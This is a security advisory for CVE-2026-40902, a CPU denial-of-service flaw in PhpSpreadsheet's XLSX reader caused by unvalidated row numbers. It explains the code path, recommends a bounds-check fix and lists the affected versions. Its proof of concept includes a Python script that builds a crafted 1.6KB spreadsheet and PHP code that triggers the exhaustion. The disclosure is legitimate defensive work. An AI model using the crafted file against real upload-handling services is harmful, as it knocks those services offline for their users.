GHSA-7c6m-4442-2x6m

Suggest an improvement
Source
https://github.com/advisories/GHSA-7c6m-4442-2x6m
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-7c6m-4442-2x6m/GHSA-7c6m-4442-2x6m.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-7c6m-4442-2x6m
Aliases
  • CVE-2026-40902
Published
2026-04-29T20:24:13Z
Modified
2026-05-13T16:57:43.636999Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions
Details

Summary

The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.

Details

In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:

// ColumnAndRowAttributes.php:216
$rowIndex = (int) $row['r'];  // No validation against AddressRange::MAX_ROW

This value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:

// Worksheet.php:1342-1349
public function getRowDimension(int $row): RowDimension
{
    if (!isset($this->rowDimensions[$row])) {
        $this->rowDimensions[$row] = new RowDimension($row);
        $this->cachedHighestRow = max($this->cachedHighestRow, $row);
    }
    return $this->rowDimensions[$row];
}

The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):

// RowIterator.php:86
$this->endRow = $endRow ?: $this->subject->getHighestRow();

Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAX_COLUMN_INT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAX_ROW. The row dimension attribute path bypasses both of these checks.

PoC

Step 1: Create the malicious XLSX file (~1.6KB)

import zipfile
import io

content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'

rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'

workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'

wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'

sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'

with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('[Content_Types].xml', content_types)
    zf.writestr('_rels/.rels', rels)
    zf.writestr('xl/workbook.xml', workbook)
    zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)
    zf.writestr('xl/worksheets/sheet1.xml', sheet)

print("Created dos_row.xlsx")

Step 2: Load with PhpSpreadsheet (CPU exhaustion)

<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

$reader = IOFactory::createReader('Xlsx');
$spreadsheet = $reader->load('dos_row.xlsx');
$sheet = $spreadsheet->getActiveSheet();

echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Output: Highest row: 999999999

// This will consume CPU for ~144 seconds (999M iterations)
foreach ($sheet->getRowIterator() as $row) {
    // CPU exhaustion
}

Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.

Impact

  • CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using getRowIterator() or uses getHighestRow() as a loop bound. Estimated CPU burn is ~144 seconds per file.
  • Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.
  • Amplification: The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations.
  • Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.

Recommended Fix

Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:

// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216
// Before:
$rowIndex = (int) $row['r'];

// After:
$rowIndex = (int) $row['r'];
if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {
    continue;
}

The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.

Database specific
{
    "cwe_ids": [
        "CWE-400",
        "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T20:24:13Z",
    "nvd_published_at": "2026-05-12T22:16:33Z",
    "severity": "HIGH"
}
References

Affected packages

Packagist
phpoffice/phpspreadsheet

Package

Name
phpoffice/phpspreadsheet
Purl
pkg:composer/phpoffice/phpspreadsheet

Affected ranges

Type
ECOSYSTEM
Events
Introduced
4.0.0
Fixed
5.7.0

Affected versions

4.*
4.0.0
4.1.0
4.2.0
4.3.0
4.3.1
4.4.0
4.5.0
5.*
5.0.0
5.1.0
5.2.0
5.3.0
5.4.0
5.5.0
5.6.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-7c6m-4442-2x6m/GHSA-7c6m-4442-2x6m.json"
last_known_affected_version_range
"<= 5.6.0"
phpoffice/phpspreadsheet

Package

Name
phpoffice/phpspreadsheet
Purl
pkg:composer/phpoffice/phpspreadsheet

Affected ranges

Type
ECOSYSTEM
Events
Introduced
3.3.0
Fixed
3.10.5

Affected versions

3.*
3.3.0
3.4.0
3.5.0
3.6.0
3.7.0
3.8.0
3.9.0
3.9.1
3.9.2
3.9.3
3.10.0
3.10.1
3.10.2
3.10.3
3.10.4

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-7c6m-4442-2x6m/GHSA-7c6m-4442-2x6m.json"
last_known_affected_version_range
"<= 3.10.4"
phpoffice/phpspreadsheet

Package

Name
phpoffice/phpspreadsheet
Purl
pkg:composer/phpoffice/phpspreadsheet

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.2.0
Fixed
2.4.5

Affected versions

2.*
2.2.0
2.2.1
2.2.2
2.3.0
2.3.2
2.3.3
2.3.4
2.3.5
2.3.6
2.3.7
2.3.8
2.3.9
2.3.10
2.4.0
2.4.1
2.4.2
2.4.3
2.4.4

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-7c6m-4442-2x6m/GHSA-7c6m-4442-2x6m.json"
last_known_affected_version_range
"<= 2.4.4"
phpoffice/phpspreadsheet

Package

Name
phpoffice/phpspreadsheet
Purl
pkg:composer/phpoffice/phpspreadsheet

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.0.0
Fixed
2.1.16

Affected versions

2.*
2.0.0
2.1.0
2.1.1
2.1.3
2.1.4
2.1.5
2.1.6
2.1.7
2.1.8
2.1.9
2.1.10
2.1.11
2.1.12
2.1.13
2.1.14
2.1.15

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-7c6m-4442-2x6m/GHSA-7c6m-4442-2x6m.json"
last_known_affected_version_range
"<= 2.1.15"
phpoffice/phpspreadsheet

Package

Name
phpoffice/phpspreadsheet
Purl
pkg:composer/phpoffice/phpspreadsheet

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.30.4

Affected versions

1.*
1.0.0-beta
1.0.0-beta2
1.0.0
1.1.0
1.2.0
1.2.1
1.3.0
1.3.1
1.4.0
1.4.1
1.5.0
1.5.1
1.5.2
1.6.0
1.7.0
1.8.0
1.8.1
1.8.2
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.13.0
1.14.0
1.14.1
1.15.0
1.16.0
1.17.0
1.17.1
1.18.0
1.19.0
1.20.0
1.21.0
1.22.0
1.23.0
1.24.0
1.24.1
1.25.0
1.25.1
1.25.2
1.26.0
1.27.0
1.27.1
1.28.0
1.29.0
1.29.1
1.29.2
1.29.4
1.29.5
1.29.6
1.29.7
1.29.8
1.29.9
1.29.10
1.29.11
1.29.12
1.30.0
1.30.1
1.30.2
1.30.3

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-7c6m-4442-2x6m/GHSA-7c6m-4442-2x6m.json"
last_known_affected_version_range
"<= 1.30.3"